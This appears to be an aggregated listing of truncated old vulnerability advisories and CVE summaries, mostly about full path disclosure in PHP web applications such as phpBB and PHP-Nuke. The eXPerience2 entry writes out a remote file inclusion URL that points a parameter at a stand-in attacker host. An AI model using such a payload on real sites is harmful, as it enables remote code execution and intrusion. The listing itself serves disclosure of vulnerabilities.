CVE-2003-1101: Undefined Security Weakness

Hummingbird CyberDOCS 3.5.1, 3.9, and 4.0 allows remote attackers to obtain the full path of the DM Web Server via invalid login credentials, which reveals the path in an error message...

Multiples Vulnerabilities

Multiples Vulnerabilities Product: eXPerience2 I. Remote File Inclusion http://www.host-vulnerable.com/eXPerience2/modules.php?file=http://evil- file/ II. Full Path Disclosure http://www.host-vulnerable.com/eXPerience2/modules.php Thank you very match :D Infektion Group irc.gigachat.net infektion...

-==phpBB 2.0.13 Full path disclosure==-

/ -------------------------------------------------------- Neo Security Team NST® - Advisory 09 - 03/03/05 -------------------------------------------------------- Program: phpBB 2.0.13 Homepage: http://www.phpbb.com Vulnerable Versions: phpBB 2.0.13 & Lower versions Risk: Low Risk!! Impact: Full...

AuraCMS.txt

--------------------------------------------------------------------------- Vulnerabilities in Aura CMS --------------------------------------------------------------------------- Author: y3dips Date: Januari, 25th 2005 Location: Indonesia, Jakarta Web: http://echo.or.id/adv/adv011-y3dips-2005.tx...

Vulnerabilities in Aura CMS

--------------------------------------------------------------------------- Vulnerabilities in Aura CMS --------------------------------------------------------------------------- Author: y3dips Date: Januari, 25th 2005 Location: Indonesia, Jakarta Web: http://echo.or.id/adv/adv011-y3dips-2005.tx...

DEBIAN-CVE-2004-1051

sudo before 1.6.8p2 allows local users to execute arbitrary commands by using "" style environment variables to create functions that have the same name as any program within the bash script that is called without using the program's full pathname...

-==phpBB 2.0.12 Full path disclosure==-

/ -------------------------------------------------------- Neo Security Team NST® - Advisory 06 - 25/02/05 -------------------------------------------------------- Program: phpBB 2.0.12 Homepage: http://www.phpbb.com Vulnerable Versions: phpBB 2.0.12 & Lower versions Risk: Low Risk!! Impact: Full...

phpWebSite 0.10.0 Full Path disclosure

/ -------------------------------------------------------- Neo Security Team NST® wWw.SoSvulnerable.NeT ® -------------------------------------------------------- Program: phpWebSite 0.10.0 Homepage: http://phpwebsite.appstate.edu Vulnerable Versions: All Risk: High!! Impact: Full Path disclosure...

waraxe-2005-SA040.txt

================================================================================ waraxe-2005-SA040 ================================================================================ Full path disclosure and XSS in PhpNuke 6.x-7.6...

bxcp0297.txt

Title: Local .php file inclusion and full path disclosure in BXCP = 0.2.9.7 Author: OfB|FistFucker Contact: http://www.ofb-clan.de/ ofb-clan at irc.quakenet.org:6667 1. Local .php file inclusion: --------------------------------- Because of no user input validation in 'index.php' it's possible to...

CVE-2004-1565

CVE-2004-1565 affects w-Agora 4.1.6a: list.php exposes the full server path via a crafted HTTP request to an id parameter (path disclosure). The connected Nessus entry notes multiple input validation issues in the remote software, including SQL injection and XSS vectors, but does not provide a pa...

CVE-2004-1577

index.php in PHP Links allows remote attackers to gain sensitive information via an invalid show parameter, which reveals the full path in an error message...

CVE-2004-1565: Undefined Security Weakness

list.php in w-Agora 4.1.6a allows remote attackers to reveal the full path via a crafted HTTP request, possibly involving a malformed id parameter...

CVE-2004-1571: Undefined Security Weakness

AJ-Fork 167 allows remote attackers to gain sensitive information via a direct request to 1 auto-acronyms.php, 2 auto-archive.php, 3 ount-article-views.php, 4 kses.php, 5 custom-quick-tags.php, 6 disable-all-comments.php, 7 easy-date-format.php, 8 enable-disable-comments.php, 9...

CVE-2004-1528: Undefined Security Weakness

The Event Calendar module 2.13 for PHP-Nuke allows remote attackers to gain sensitive information via an HTTP request to 1 config.php, 2 index.php, or 3 submit.php, which reveal the full path in an error message...

CVE-2005-0459: Undefined Security Weakness

phpMyAdmin 2.6.2-dev, and possibly earlier versions, allows remote attackers to determine the full path of the web root via a direct request to selectlang.lib.php, which reveals the path in a PHP error message...

CVE-2005-0433: Undefined Security Weakness

Php-Nuke 7.5 allows remote attackers to determine the full path of the web server via invalid or missing arguments to 1 db.php, 2 mainfile.php, 3 Downloads/index.php, or 4 WebLinks/index.php, which lists the path in a PHP error message...

[Full-Disclosure] [waraxe-2005-SA#040] - Full path disclosure and XSS in PhpNuke 6.x-7.6

================================================================================ waraxe-2005-SA040 ================================================================================ Full path disclosure and XSS in PhpNuke 6.x-7.6...

GLSA-200501-08 : phpGroupWare: Various vulnerabilities

The remote host is affected by the vulnerability described in GLSA-200501-08 phpGroupWare: Various vulnerabilities Several flaws were discovered in phpGroupWare making it vulnerable to cross-site scripting attacks, SQL injection, and full path disclosure. Impact : These vulnerabilities could allo...

[PersianHacker.NET 200502-05] WWWoard passwd

Persianhacker.net Full Path Disclosure and PHP Injection In Pafiledb 3.1 Final WWWBoard is a threaded World Wide Web discussion forum and message board, which allows users to post new messages, followup to existing ones and more. The current release in 2.0 ALPHA 2.1, which means there still are a...